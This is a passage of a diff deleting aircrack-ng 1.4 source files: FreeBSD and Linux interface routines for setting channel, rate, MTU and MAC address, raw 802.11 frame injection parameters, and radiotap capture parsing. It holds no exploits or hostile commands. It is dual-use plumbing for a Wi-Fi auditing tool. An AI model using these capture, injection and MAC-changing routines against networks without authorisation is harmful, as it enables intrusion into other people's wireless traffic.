-	if (getifaddrs(&ifa) == -1) return -1;
-
-	p = ifa;
-	while (p)
-	{
-		if (p->ifa_addr->sa_family == AF_LINK && strcmp(name, p->ifa_name) == 0)
-		{
-
-			sdp = (struct sockaddr_dl *) p->ifa_addr;
-			memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6);
-			rc = 0;
-			break;
-		}
-
-		p = p->ifa_next;
-	}
-	freeifaddrs(ifa);
-
-	return rc;
-}
-
-static int fbsd_get_monitor(struct wif * wi)
-{
-	if (wi)
-	{
-	} /* XXX unused */
-
-	/* XXX */
-	return 0;
-}
-
-static int fbsd_get_rate(struct wif * wi)
-{
-	if (wi)
-	{
-	} /* XXX unused */
-
-	/* XXX */
-	return 1000000;
-}
-
-static int fbsd_set_rate(struct wif * wi, int rate)
-{
-	if (wi || rate)
-	{
-	} /* XXX unused */
-
-	/* XXX */
-	return 0;
-}
-
-static int fbsd_set_mac(struct wif * wi, unsigned char * mac)
-{
-	struct priv_fbsd * priv = wi_priv(wi);
-	struct ifreq * ifr = &priv->pf_ifr;
-
-	ifr->ifr_addr.sa_family = AF_LINK;
-	ifr->ifr_addr.sa_len = 6;
-	memcpy(ifr->ifr_addr.sa_data, mac, 6);
-
-	return ioctl(priv->pf_s, SIOCSIFLLADDR, ifr);
-}
-
-static int fbsd_set_mtu(struct wif * wi, int mtu)
-{
-	struct priv_fbsd * priv = wi_priv(wi);
-	struct ifreq * ifr = &priv->pf_ifr;
-
-	memset(ifr, 0, sizeof(struct ifreq));
-
-	strncpy(ifr->ifr_name, wi_get_ifname(wi), sizeof(ifr->ifr_name));
-	ifr->ifr_mtu = mtu;
-
-	if (ioctl(priv->pf_s, SIOCSIFMTU, ifr) < 0) return -1;
-
-	return 0;
-}
-
-static int fbsd_get_mtu(struct wif * wi)
-{
-	struct priv_fbsd * priv = wi_priv(wi);
-	struct ifreq ifr;
-
-	memset(&ifr, 0, sizeof(struct ifreq));
-
-	ifr.ifr_addr.sa_family = AF_INET;
-
-	strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name));
-
-	if (ioctl(priv->pf_s, SIOCGIFMTU, (caddr_t) &ifr) < 0) return -1;
-
-	return ifr.ifr_mtu;
-}
-
-static struct wif * fbsd_open(char * iface)
-{
-	struct wif * wi;
-	struct priv_fbsd * pf;
-	int fd;
-
-	/* setup wi struct */
-	wi = wi_alloc(sizeof(*pf));
-	if (!wi) return NULL;
-	wi->wi_read = fbsd_read;
-	wi->wi_write = fbsd_write;
-	wi->wi_set_channel = fbsd_set_channel;
-	wi->wi_get_channel = fbsd_get_channel;
-	wi->wi_close = fbsd_close;
-	wi->wi_fd = fbsd_fd;
-	wi->wi_get_mac = fbsd_get_mac;
-	wi->wi_set_mac = fbsd_set_mac;
-	wi->wi_get_rate = fbsd_get_rate;
-	wi->wi_set_rate = fbsd_set_rate;
-	wi->wi_get_monitor = fbsd_get_monitor;
-	wi->wi_get_mtu = fbsd_get_mtu;
-	wi->wi_set_mtu = fbsd_set_mtu;
-
-	/* setup iface */
-	fd = do_fbsd_open(wi, iface);
-	if (fd == -1)
-	{
-		do_free(wi);
-		return NULL;
-	}
-
-	/* setup private state */
-	pf = wi_priv(wi);
-	pf->pf_fd = fd;
-	pf->pf_txparams.ibp_vers = IEEE80211_BPF_VERSION;
-	pf->pf_txparams.ibp_len = sizeof(struct ieee80211_bpf_params) - 6;
-	pf->pf_txparams.ibp_rate0 = 2; /* 1 MB/s XXX */
-	pf->pf_txparams.ibp_try0 = 1; /* no retransmits */
-	pf->pf_txparams.ibp_rate1 = 2; /* 1 MB/s XXX */
-	pf->pf_txparams.ibp_try1 = 1; /* no retransmits */
-	pf->pf_txparams.ibp_flags = IEEE80211_BPF_NOACK;
-	pf->pf_txparams.ibp_power = 100; /* nominal max */
-	pf->pf_txparams.ibp_pri = WME_AC_VO; /* high priority */
-
-	return wi;
-}
-
-struct wif * wi_open_osdep(char * iface) { return fbsd_open(iface); }
-
-EXPORT int get_battery_state(void)
-{
-#if defined(__FreeBSD__) || defined(__FreeBSD_kernel__)
-	int value;
-	size_t len;
-
-	len = 4;
-	value = 0;
-	sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0);
-	if (value == 0)
-	{
-		sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0);
-		value = value * 60;
-	}
-	else
-	{
-		value = 0;
-	}
-
-	return (value);
-#elif defined(_BSD_SOURCE)
-	struct apm_power_info api;
-	int apmfd;
-	if ((apmfd = open("/dev/apm", O_RDONLY)) < 0) return 0;
-	if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0)
-	{
-		close(apmfd);
-		return 0;
-	}
-	close(apmfd);
-	if (api.battery_state == APM_BATT_UNKNOWN
-		|| api.battery_state == APM_BATTERY_ABSENT
-		|| api.battery_state == APM_BATT_CHARGING
-		|| api.ac_state == APM_AC_ON)
-	{
-		return 0;
-	}
-	return ((int) (api.minutes_left)) * 60;
-#else
-	return 0;
-#endif
-}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/freebsd_tap.c Deleted

@@ -1,218 +0,0 @@
-/*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for FreeBSD. TAP routines
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-  */
-
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <sys/time.h>
-#include <sys/socket.h>
-#include <net/if.h>
-#include <fcntl.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <string.h>
-
-#include "osdep.h"
-
-struct tip_fbsd
-{
-	int tf_fd;
-	int tf_ioctls;
-	struct ifreq tf_ifr;
-	char tf_name[MAX_IFACE_NAME];
-	int tf_destroy;
-};
-
-static int ti_do_open_fbsd(struct tif * ti, char * name)
-{
-	int fd;
-	char * iface = "/dev/tap";
-	struct stat st;
-	struct tip_fbsd * priv = ti_priv(ti);
-	int s;
-	unsigned int flags;
-	struct ifreq * ifr;
-
-	/* open tap */
-	if (name)
-		iface = name;
-	else
-		priv->tf_destroy = 1; /* we create, we destroy */
-
-	fd = open(iface, O_RDWR);
-	if (fd == -1) return -1;
-
-	/* get name */
-	if (fstat(fd, &st) == -1) goto err;
-	snprintf(priv->tf_name,
-			 sizeof(priv->tf_name) - 1,
-			 "%s",
-			 devname(st.st_rdev, S_IFCHR));
-
-	/* bring iface up */
-	s = socket(PF_INET, SOCK_DGRAM, 0);
-	if (s == -1) goto err;
-	priv->tf_ioctls = s;
-
-	/* get flags */
-	ifr = &priv->tf_ifr;
-	memset(ifr, 0, sizeof(*ifr));
-	snprintf(ifr->ifr_name, sizeof(ifr->ifr_name) - 1, "%s", priv->tf_name);
-	if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2;
-	flags = (ifr->ifr_flags & 0xffff) | (ifr->ifr_flagshigh << 16);
-
-	/* set flags */
-	flags |= IFF_UP;
-	ifr->ifr_flags = flags & 0xffff;
-	ifr->ifr_flagshigh = flags >> 16;
-	if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2;
-
-	return fd;
-err:
-	/* XXX destroy */
-	close(fd);
-	return -1;
-err2:
-	close(s);
-	goto err;
-}
-
-static void ti_do_free(struct tif * ti)
-{
-	struct tip_fbsd * priv = ti_priv(ti);
-
-	free(priv);
-	free(ti);
-}
-
-static void ti_destroy(struct tip_fbsd * priv)
-{
-	ioctl(priv->tf_ioctls, SIOCIFDESTROY, &priv->tf_ifr);
-}
-
-static void ti_close_fbsd(struct tif * ti)
-{
-	struct tip_fbsd * priv = ti_priv(ti);
-
-	if (priv->tf_destroy) ti_destroy(priv);
-
-	close(priv->tf_fd);
-	close(priv->tf_ioctls);
-	ti_do_free(ti);
-}
-
-static char * ti_name_fbsd(struct tif * ti)
-{
-	struct tip_fbsd * priv = ti_priv(ti);
-
-	return priv->tf_name;
-}
-
-static int ti_set_mtu_fbsd(struct tif * ti, int mtu)
-{
-	struct tip_fbsd * priv = ti_priv(ti);
-
-	priv->tf_ifr.ifr_mtu = mtu;
-
-	return ioctl(priv->tf_ioctls, SIOCSIFMTU, &priv->tf_ifr);
-}
-
-static int ti_set_mac_fbsd(struct tif * ti, unsigned char * mac)
-{
-	struct tip_fbsd * priv = ti_priv(ti);
-	struct ifreq * ifr = &priv->tf_ifr;
-
-	ifr->ifr_addr.sa_family = AF_LINK;
-	ifr->ifr_addr.sa_len = 6;
-	memcpy(ifr->ifr_addr.sa_data, mac, 6);
-
-	return ioctl(priv->tf_ioctls, SIOCSIFLLADDR, ifr);
-}
-
-static int ti_set_ip_fbsd(struct tif * ti, struct in_addr * ip)
-{
-	struct tip_fbsd * priv = ti_priv(ti);
-	struct ifaliasreq ifra;
-	struct sockaddr_in * s_in;
-
-	/* assume same size */
-	memset(&ifra, 0, sizeof(ifra));
-	strcpy(ifra.ifra_name, priv->tf_ifr.ifr_name);
-
-	s_in = (struct sockaddr_in *) &ifra.ifra_addr;
-	s_in->sin_family = PF_INET;
-	s_in->sin_addr = *ip;
-	s_in->sin_len = sizeof(*s_in);
-
-	return ioctl(priv->tf_ioctls, SIOCAIFADDR, &ifra);
-}
-
-static int ti_fd_fbsd(struct tif * ti)
-{
-	struct tip_fbsd * priv = ti_priv(ti);
-
-	return priv->tf_fd;
-}
-
-static int ti_read_fbsd(struct tif * ti, void * buf, int len)
-{
-	return read(ti_fd(ti), buf, len);
-}
-
-static int ti_write_fbsd(struct tif * ti, void * buf, int len)
-{
-	return write(ti_fd(ti), buf, len);
-}
-
-static struct tif * ti_open_fbsd(char * iface)
-{
-	struct tif * ti;
-	struct tip_fbsd * priv;
-	int fd;
-
-	/* setup ti struct */
-	ti = ti_alloc(sizeof(*priv));
-	if (!ti) return NULL;
-	ti->ti_name = ti_name_fbsd;
-	ti->ti_set_mtu = ti_set_mtu_fbsd;
-	ti->ti_close = ti_close_fbsd;
-	ti->ti_fd = ti_fd_fbsd;
-	ti->ti_read = ti_read_fbsd;
-	ti->ti_write = ti_write_fbsd;
-	ti->ti_set_mac = ti_set_mac_fbsd;
-	ti->ti_set_ip = ti_set_ip_fbsd;
-
-	/* setup iface */
-	fd = ti_do_open_fbsd(ti, iface);
-	if (fd == -1)
-	{
-		ti_do_free(ti);
-		return NULL;
-	}
-
-	/* setup private state */
-	priv = ti_priv(ti);
-	priv->tf_fd = fd;
-
-	return ti;
-}
-
-EXPORT struct tif * ti_open(char * iface) { return ti_open_fbsd(iface); }

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/linux.c Deleted

@@ -1,2618 +0,0 @@
-/*
- *  OS dependent APIs for Linux
- *
- *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *  Copyright (C) 2004, 2005 Christophe Devine
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- */
-
-#include <sys/socket.h>
-#include <sys/ioctl.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <sys/time.h>
-#include <sys/stat.h>
-#include <netpacket/packet.h>
-#include <linux/if_ether.h>
-#include <linux/if.h>
-#include <linux/wireless.h>
-#include <netinet/in.h>
-#include <linux/if_tun.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/utsname.h>
-#include <net/if_arp.h>
-#include <limits.h>
-
-#ifdef CONFIG_LIBNL
-#include <linux/nl80211.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/family.h>
-#include <netlink/genl/ctrl.h>
-#include <netlink/msg.h>
-#include <netlink/attr.h>
-#include <linux/genetlink.h>
-#endif // CONFIG_LIBNL
-
-#include "radiotap/radiotap.h"
-#include "radiotap/radiotap_iter.h"
-/* radiotap-parser defines types like u8 that
-		 * ieee80211_radiotap.h needs
-		 *
-		 * we use our local copy of ieee80211_radiotap.h
-		 *
-		 * - since we can't support extensions we don't understand
-		 * - since linux does not include it in userspace headers
-		 */
-#include "osdep.h"
-#include "pcap.h"
-#include "crctable_osdep.h"
-#include "common.h"
-#include "byteorder.h"
-#include "channel.h"
-
-#ifdef CONFIG_LIBNL
-struct nl80211_state state;
-static int chan;
-#endif // CONFIG_LIBNL
-
-/* if_nametoindex is defined in net/if.h but that conflicts with linux/if.h */
-extern unsigned int if_nametoindex(const char * __ifname);
-extern char * if_indextoname(unsigned int __ifindex, char * __ifname);
-
-typedef enum {
-	DT_NULL = 0,
-	DT_WLANNG,
-	DT_HOSTAP,
-	DT_MADWIFI,
-	DT_MADWIFING,
-	DT_BCM43XX,
-	DT_ORINOCO,
-	DT_ZD1211RW,
-	DT_ACX,
-	DT_MAC80211_RT,
-	DT_AT76USB,
-	DT_IPW2200
-
-} DRIVER_TYPE;
-
-/*
- * XXX need to have a different read/write/open function for each Linux driver.
- */
-
-struct priv_linux
-{
-	int fd_in, arptype_in;
-	int fd_out, arptype_out;
-	int fd_main;
-	int fd_rtc;
-
-	DRIVER_TYPE drivertype; /* inited to DT_UNKNOWN on allocation by wi_alloc */
-
-	FILE * f_cap_in;
-
-	struct pcap_file_header pfh_in;
-
-	int sysfs_inject;
-	int channel;
-	int freq;
-	int rate;
-	int tx_power;
-	char * wlanctlng; /* XXX never set */
-	char * iwpriv;
-	char * iwconfig;
-	char * ifconfig;
-	char * wl;
-	char * main_if;
-	unsigned char pl_mac[6];
-	int inject_wlanng;
-};
-
-#ifndef ETH_P_80211_RAW
-#define ETH_P_80211_RAW 25
-#endif
-
-#define ARPHRD_ETHERNET 1
-#define ARPHRD_IEEE80211 801
-#define ARPHRD_IEEE80211_PRISM 802
-#define ARPHRD_IEEE80211_FULL 803
-
-#ifndef NULL_MAC
-#define NULL_MAC "\x00\x00\x00\x00\x00\x00"
-#endif
-
-unsigned long calc_crc_osdep(unsigned char * buf, int len)
-{
-	unsigned long crc = 0xFFFFFFFF;
-
-	for (; len > 0; len--, buf++)
-		crc = crc_tbl_osdep[(crc ^ *buf) & 0xFF] ^ (crc >> 8);
-
-	return (~crc);
-}
-
-/* CRC checksum verification routine */
-
-int check_crc_buf_osdep(unsigned char * buf, int len)
-{
-	unsigned long crc;
-
-	if (len < 0) return 0;
-
-	crc = calc_crc_osdep(buf, len);
-	buf += len;
-	return (((crc) &0xFF) == buf[0] && ((crc >> 8) & 0xFF) == buf[1]
-			&& ((crc >> 16) & 0xFF) == buf[2]
-			&& ((crc >> 24) & 0xFF) == buf[3]);
-}
-
-// Check if the driver is ndiswrapper */
-static int is_ndiswrapper(const char * iface, const char * path)
-{
-	int n, pid, unused;
-	if (!path || !iface || strlen(iface) >= IFNAMSIZ)
-	{
-		return 0;
-	}
-	if ((pid = fork()) == 0)
-	{
-		close(0);
-		close(1);
-		close(2);
-		unused = chdir("/");
-		execl(path, "iwpriv", iface, "ndis_reset", NULL);
-		exit(1);
-	}
-
-	waitpid(pid, &n, 0);
-	return ((WIFEXITED(n) && WEXITSTATUS(n) == 0));
-}
-
-/* Search a file recursively */
-static char * searchInside(const char * dir, const char * filename)
-{
-	char * ret;
-	char * curfile;
-	struct stat sb;
-	int len, lentot;
-	DIR * dp;
-	struct dirent * ep;
-
-	dp = opendir(dir);
-	if (dp == NULL)
-	{
-		return NULL;
-	}
-
-	len = strlen(filename);
-	lentot = strlen(dir) + 256 + 2;
-	curfile = (char *) calloc(1, lentot);
-
-	while ((ep = readdir(dp)) != NULL)
-	{
-
-		memset(curfile, 0, lentot);
-		sprintf(curfile, "%s/%s", dir, ep->d_name);
-
-		// Checking if it's the good file
-		if ((int) strlen(ep->d_name) == len && !strcmp(ep->d_name, filename))
-		{
-			(void) closedir(dp);
-			return curfile;
-		}
-
-		// If it's a directory and not a link, try to go inside to search
-		if (lstat(curfile, &sb) == 0 && S_ISDIR(sb.st_mode)
-			&& !S_ISLNK(sb.st_mode))
-		{
-			// Check if the directory isn't "." or ".."
-			if (strcmp(".", ep->d_name) && strcmp("..", ep->d_name))
-			{
-				// Recursive call
-				ret = searchInside(curfile, filename);
-				if (ret != NULL)
-				{
-					(void) closedir(dp);
-					free(curfile);
-					return ret;
-				}
-			}
-		}
-	}
-	(void) closedir(dp);
-	free(curfile);
-	return NULL;
-}
-
-/* Search a wireless tool and return its path */
-static char * wiToolsPath(const char * tool)
-{
-	char * path /*, *found, *env */;
-	int i, nbelems;
-	static const char * paths[] = {"/sbin",
-								   "/usr/sbin",
-								   "/usr/local/sbin",
-								   "/bin",
-								   "/usr/bin",
-								   "/usr/local/bin",
-								   "/tmp"};
-
-	// Also search in other known location just in case we haven't found it yet
-	nbelems = sizeof(paths) / sizeof(char *);
-	for (i = 0; i < nbelems; i++)
-	{
-		path = searchInside(paths[i], tool);
-		if (path != NULL) return path;
-	}
-
-	return NULL;
-}
-
-/* nl80211 */
-#ifdef CONFIG_LIBNL
-struct nl80211_state
-{
-#if !defined(CONFIG_LIBNL30) && !defined(CONFIG_LIBNL20)
-	struct nl_handle * nl_sock;
-#else
-	struct nl_sock * nl_sock;
-#endif
-	struct nl_cache * nl_cache;
-	struct genl_family * nl80211;
-};
-
-#if !defined(CONFIG_LIBNL30) && !defined(CONFIG_LIBNL20)
-static inline struct nl_handle * nl_socket_alloc(void)
-{
-	return nl_handle_alloc();
-}
-
-static inline void nl_socket_free(struct nl_handle * h)
-{
-	nl_handle_destroy(h);
-}
-
-static inline int __genl_ctrl_alloc_cache(struct nl_handle * h,
-										  struct nl_cache ** cache)
-{
-	struct nl_cache * tmp = genl_ctrl_alloc_cache(h);
-	if (!tmp) return -ENOMEM;
-	*cache = tmp;
-	return 0;
-}
-#define genl_ctrl_alloc_cache __genl_ctrl_alloc_cache
-#endif
-
-static int linux_nl80211_init(struct nl80211_state * state)
-{
-	int err;
-
-	state->nl_sock = nl_socket_alloc();
-
-	if (!state->nl_sock)
-	{
-		fprintf(stderr, "Failed to allocate netlink socket.\n");
-		return -ENOMEM;
-	}
-
-	if (genl_connect(state->nl_sock))
-	{
-		fprintf(stderr, "Failed to connect to generic netlink.\n");
-		err = -ENOLINK;
-		goto out_handle_destroy;
-	}
-
-	if (genl_ctrl_alloc_cache(state->nl_sock, &state->nl_cache))
-	{
-		fprintf(stderr, "Failed to allocate generic netlink cache.\n");
-		err = -ENOMEM;
-		goto out_handle_destroy;
-	}
-
-	state->nl80211 = genl_ctrl_search_by_name(state->nl_cache, "nl80211");
-	if (!state->nl80211)
-	{
-		fprintf(stderr, "nl80211 not found.\n");
-		err = -ENOENT;
-		goto out_cache_free;
-	}
-
-	return 0;
-
-out_cache_free:
-	nl_cache_free(state->nl_cache);
-out_handle_destroy:
-	nl_socket_free(state->nl_sock);
-	return err;
-}
-
-static void nl80211_cleanup(struct nl80211_state * state)
-{
-	genl_family_put(state->nl80211);
-	nl_cache_free(state->nl_cache);
-	nl_socket_free(state->nl_sock);
-}
-
-/* Callbacks */
-
-/*
-static int error_handler(struct sockaddr_nl *nla, struct nlmsgerr *err,
-					 void *arg)
-{
-	if (nla) { }
-	printf("\n\n\nERROR");
-	int *ret = arg;
-	*ret = err->error;
-	return NL_STOP;
-}
-*/
-
-/*
-static void test_callback(struct nl_msg *msg, void *arg)
-{
-	if (msg || arg) { }
-}
-*/
-#endif /* End nl80211 */
-
-static int linux_get_channel(struct wif * wi)
-{
-	struct priv_linux * dev = wi_priv(wi);
-	struct iwreq wrq;
-	int fd, frequency;
-	int chan = 0;
-
-	memset(&wrq, 0, sizeof(struct iwreq));
-
-	if (dev->main_if)
-		strncpy(wrq.ifr_name, dev->main_if, IFNAMSIZ);
-	else
-		strncpy(wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ);
-	wrq.ifr_name[IFNAMSIZ - 1] = 0;
-
-	fd = dev->fd_in;
-	if (dev->drivertype == DT_IPW2200) fd = dev->fd_main;
-
-	if (ioctl(fd, SIOCGIWFREQ, &wrq) < 0) return (-1);
-
-	frequency = wrq.u.freq.m;
-	if (frequency > 100000000)
-		frequency /= 100000;
-	else if (frequency > 1000000)
-		frequency /= 1000;
-
-	if (frequency > 1000)
-		chan = getChannelFromFrequency(frequency);
-	else
-		chan = frequency;
-
-	return chan;
-}
-
-static int linux_get_freq(struct wif * wi)
-{
-	struct priv_linux * dev = wi_priv(wi);
-	struct iwreq wrq;
-	int fd, frequency;
-
-	memset(&wrq, 0, sizeof(struct iwreq));
-
-	if (dev->main_if)
-		strncpy(wrq.ifr_name, dev->main_if, IFNAMSIZ);
-	else
-		strncpy(wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ);
-	wrq.ifr_name[IFNAMSIZ - 1] = 0;
-
-	fd = dev->fd_in;
-	if (dev->drivertype == DT_IPW2200) fd = dev->fd_main;
-
-	if (ioctl(fd, SIOCGIWFREQ, &wrq) < 0) return (-1);
-
-	frequency = wrq.u.freq.m;
-	if (frequency > 100000000)
-		frequency /= 100000;
-	else if (frequency > 1000000)
-		frequency /= 1000;
-
-	if (frequency < 500) // it's not a freq, but the actual channel
-		frequency = getFrequencyFromChannel(frequency);
-
-	return frequency;
-}
-
-static int linux_set_rate(struct wif * wi, int rate)
-{
-	struct priv_linux * dev = wi_priv(wi);
-	struct ifreq ifr;
-	struct iwreq wrq;
-	char s[32];
-	int pid, status, unused;
-
-	memset(s, 0, sizeof(s));
-
-	switch (dev->drivertype)
-	{
-		case DT_MADWIFING:
-			memset(&ifr, 0, sizeof(ifr));
-			strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name) - 1);
-
-			if (ioctl(dev->fd_in, SIOCGIFINDEX, &ifr) < 0)
-			{
-				printf("Interface %s: \n", wi_get_ifname(wi));
-				perror("ioctl(SIOCGIFINDEX) failed");
-				return (1);
-			}
-
-			/* Bring interface down*/
-			ifr.ifr_flags = 0;
-
-			if (ioctl(dev->fd_in, SIOCSIFFLAGS, &ifr) < 0)
-			{
-				perror("ioctl(SIOCSIFFLAGS) failed");
-				return (1);
-			}
-
-			usleep(100000);
-
-			snprintf(s, sizeof(s) - 1, "%.1fM", (rate / 1000000.0));
-
-			if ((pid = fork()) == 0)
-			{
-				close(0);
-				close(1);
-				close(2);
-				unused = chdir("/");
-				execlp(dev->iwconfig,
-					   "iwconfig",
-					   wi_get_ifname(wi),
-					   "rate",
-					   s,
-					   NULL);
-				exit(1);
-			}
-
-			waitpid(pid, &status, 0);
-
-			return 0;
-			break;
-
-		case DT_MAC80211_RT:
-
-			dev->rate = (rate / 500000);
-			// return 0;
-			// Newer mac80211 stacks (2.6.31 and up)
-			// don't care about Radiotap header anymore, so ioctl below must
-			// also be done!
-			//[see Documentation/networking/mac80211-injection.txt]
-			break;
-
-		default:
-			break;
-	}
-
-	/* ELSE */
-	memset(&wrq, 0, sizeof(struct iwreq));
-
-	if (dev->main_if)
-		strncpy(wrq.ifr_name, dev->main_if, IFNAMSIZ);
-	else
-		strncpy(wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ);
-	wrq.ifr_name[IFNAMSIZ - 1] = 0;
-
-	wrq.u.bitrate.value = rate;
-	wrq.u.bitrate.fixed = 1;
-
-	if (ioctl(dev->fd_in, SIOCSIWRATE, &wrq) < 0)
-	{
-		return (-1);
-	}
-
-	return 0;
-}
-
-static int linux_get_rate(struct wif * wi)
-{
-	struct priv_linux * dev = wi_priv(wi);
-	struct iwreq wrq;
-
-	memset(&wrq, 0, sizeof(struct iwreq));
-
-	if (dev->drivertype == DT_MAC80211_RT) return (dev->rate * 500000);
-
-	if (dev->main_if)
-		strncpy(wrq.ifr_name, dev->main_if, IFNAMSIZ);
-	else
-		strncpy(wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ);
-	wrq.ifr_name[IFNAMSIZ - 1] = 0;
-
-	if (ioctl(dev->fd_in, SIOCGIWRATE, &wrq) < 0)
-	{
-		return (-1);
-	}
-
-	return wrq.u.bitrate.value;
-}
-
-static int linux_set_mtu(struct wif * wi, int mtu)
-{
-	struct priv_linux * dev = wi_priv(wi);
-	struct ifreq ifr;
-
-	memset(&ifr, 0, sizeof(struct ifreq));
-
-	if (dev->main_if)
-		strncpy(ifr.ifr_name, dev->main_if, sizeof(ifr.ifr_name) - 1);
-	else
-		strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name) - 1);
-
-	ifr.ifr_mtu = mtu;
-	if (ioctl(dev->fd_in, SIOCSIFMTU, &ifr) < 0)
-	{
-		return (-1);
-	}
-
-	return 0;
-}
-
-static int linux_get_mtu(struct wif * wi)
-{
-	struct priv_linux * dev = wi_priv(wi);
-	struct ifreq ifr;
-
-	memset(&ifr, 0, sizeof(struct ifreq));
-
-	if (dev->main_if)
-		strncpy(ifr.ifr_name, dev->main_if, sizeof(ifr.ifr_name) - 1);
-	else
-		strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name) - 1);
-
-	if (ioctl(dev->fd_in, SIOCGIFMTU, &ifr) < 0)
-	{
-		return (-1);
-	}
-
-	return ifr.ifr_mtu;
-}
-
-static int
-linux_read(struct wif * wi, unsigned char * buf, int count, struct rx_info * ri)
-{
-	struct priv_linux * dev = wi_priv(wi);
-	unsigned char tmpbuf[4096];
-
-	int caplen, n, got_signal, got_noise, got_channel, fcs_removed;
-
-	caplen = n = got_signal = got_noise = got_channel = fcs_removed = 0;
-
-	if ((unsigned) count > sizeof(tmpbuf)) return (-1);
-
-	if ((caplen = read(dev->fd_in, tmpbuf, count)) < 0)
-	{
-		if (errno == EAGAIN) return (0);
-
-		perror("read failed");
-		return (-1);
-	}
-
-	switch (dev->drivertype)
-	{
-		case DT_MADWIFI:
-			caplen -= 4; /* remove the FCS for madwifi-old! only (not -ng)*/
-			break;
-		default:
-			break;
-	}
-
-	memset(buf, 0, count);
-
-	/* XXX */
-	if (ri) memset(ri, 0, sizeof(*ri));
-
-	if (dev->arptype_in == ARPHRD_IEEE80211_PRISM)
-	{
-		/* skip the prism header */
-		if (tmpbuf[7] == 0x40)
-		{
-			/* prism54 uses a different format */
-			if (ri)
-			{
-				ri->ri_power = tmpbuf[0x33];
-				ri->ri_noise = *(unsigned int *) (tmpbuf + 0x33 + 12);
-				ri->ri_rate = (*(unsigned int *) (tmpbuf + 0x33 + 24)) * 500000;
-
-				got_signal = 1;
-				got_noise = 1;
-			}
-
-			n = 0x40;
-		}
-		else
-		{
-			if (ri)
-			{
-				ri->ri_mactime = *(u_int64_t *) (tmpbuf + 0x5C - 48);
-				ri->ri_channel = *(unsigned int *) (tmpbuf + 0x5C - 36);
-				ri->ri_power = *(unsigned int *) (tmpbuf + 0x5C);
-				ri->ri_noise = *(unsigned int *) (tmpbuf + 0x5C + 12);
-				ri->ri_rate = (*(unsigned int *) (tmpbuf + 0x5C + 24)) * 500000;
-
-				//                if( ! memcmp( iface[i], "ath", 3 ) )
-				if (dev->drivertype == DT_MADWIFI)
-					ri->ri_power -= *(int *) (tmpbuf + 0x68);
-				if (dev->drivertype == DT_MADWIFING)
-					ri->ri_power -= *(int *) (tmpbuf + 0x68);
-
-				got_channel = 1;
-				got_signal = 1;
-				got_noise = 1;
-			}
-
-			n = *(int *) (tmpbuf + 4);
-		}
-
-		if (n < 8 || n >= caplen) return (0);
-	}
-
-	if (dev->arptype_in == ARPHRD_IEEE80211_FULL)
-	{
-		struct ieee80211_radiotap_iterator iterator;
-		struct ieee80211_radiotap_header * rthdr;
-
-		rthdr = (struct ieee80211_radiotap_header *) tmpbuf;
-
-		if (ieee80211_radiotap_iterator_init(&iterator, rthdr, caplen, NULL)
-			< 0)
-			return (0);
-
-		/* go through the radiotap arguments we have been given
-		 * by the driver
-		 */
-
-		while (ri && (ieee80211_radiotap_iterator_next(&iterator) >= 0))
-		{
-
-			switch (iterator.this_arg_index)
-			{
-
-				case IEEE80211_RADIOTAP_TSFT:
-					ri->ri_mactime
-						= le64_to_cpu(*((uint64_t *) iterator.this_arg));
-					break;
-
-				case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
-					if (!got_signal)
-					{
-						if (*iterator.this_arg < 127)
-							ri->ri_power = *iterator.this_arg;
-						else
-							ri->ri_power = *iterator.this_arg - 255;
-
-						got_signal = 1;
-					}
-					break;
-
-				case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
-					if (!got_signal)
-					{
-						if (*iterator.this_arg < 127)
-							ri->ri_power = *iterator.this_arg;
-						else
-							ri->ri_power = *iterator.this_arg - 255;
-
-						got_signal = 1;
-					}
-					break;
-
-				case IEEE80211_RADIOTAP_DBM_ANTNOISE:
-					if (!got_noise)
-					{
-						if (*iterator.this_arg < 127)
-							ri->ri_noise = *iterator.this_arg;
-						else
